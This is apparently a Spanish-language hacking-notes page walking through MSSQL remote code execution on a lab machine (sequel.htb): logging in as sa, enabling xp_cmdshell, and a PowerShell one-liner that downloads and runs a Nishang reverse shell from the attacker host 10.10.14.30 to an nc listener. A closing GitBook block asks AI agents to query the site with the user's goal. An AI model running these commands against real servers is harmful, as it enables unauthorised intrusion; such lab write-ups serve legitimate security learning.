> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/mssql-1433/mssql-exploitation-rce.md).

# Explotación de RCE en MSSQL

Ejecución remota de comandos en MSSQL mediante mssqlclient.py, xp\_cmdshell, payloads de PowerShell alojados y shells inversas.

## Explotación de MSSQL (Microsoft SQL)

**Puerto 1433 (MSSQL)**

El puerto 1433 está abierto, lo que indica que un Microsoft SQL Server está escuchando. Pruebe el acceso con los usuarios recuperados durante la enumeración.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cba86d8714d6def3d684c427814913efc072de8c%2F%7B5DAC77A9-4CF2-4701-A954-52F22B15CFB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Prueba de conexión MSSQL**

Use `mssqlclient.py` para intentar conectarse:

```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c481178b1e4ee92beda48fe460c5839b8cd12f38%2Fimage%20(2731).png?alt=media" alt=""><figcaption></figcaption></figure>

**Resultado**: Solo el usuario `sa` funciona.

```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-127cffbab2f7e4df09550de2205e1adc1b9d13b7%2Fimage%20(2732).png?alt=media" alt=""><figcaption></figcaption></figure>

### Shell inversa a través de MSSQL

**Habilitar la ejecución de comandos**

Para ejecutar comandos del sistema, habilite `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Luego pruebe con un comando simple, como `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d5fa6ec378e5541d44c4f4424229e671e9a37bb%2Fimage%20(2733).png?alt=media" alt=""><figcaption></figcaption></figure>

**Preparándonos para escuchar en nuestra máquina**

Inicia un listener en el puerto 4444:

```bash
rlwrap nc -nvlp 4444
```

**Descargando un script de PowerShell**

Prepare un script de PowerShell llamado `PS.ps1` que incluya una función de shell inversa:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Al final del script, agregue la siguiente línea:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Aloje este script en un servidor web local:

```bash
python3 -m http.server 80
```

**Ejecución de shell inversa**

Desde el servidor MSSQL, ejecute el siguiente comando para descargar y ejecutar el script de PowerShell:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd06e3bfd2b980f961548ba2f6492e7282750fa4%2Fimage%20(2734).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
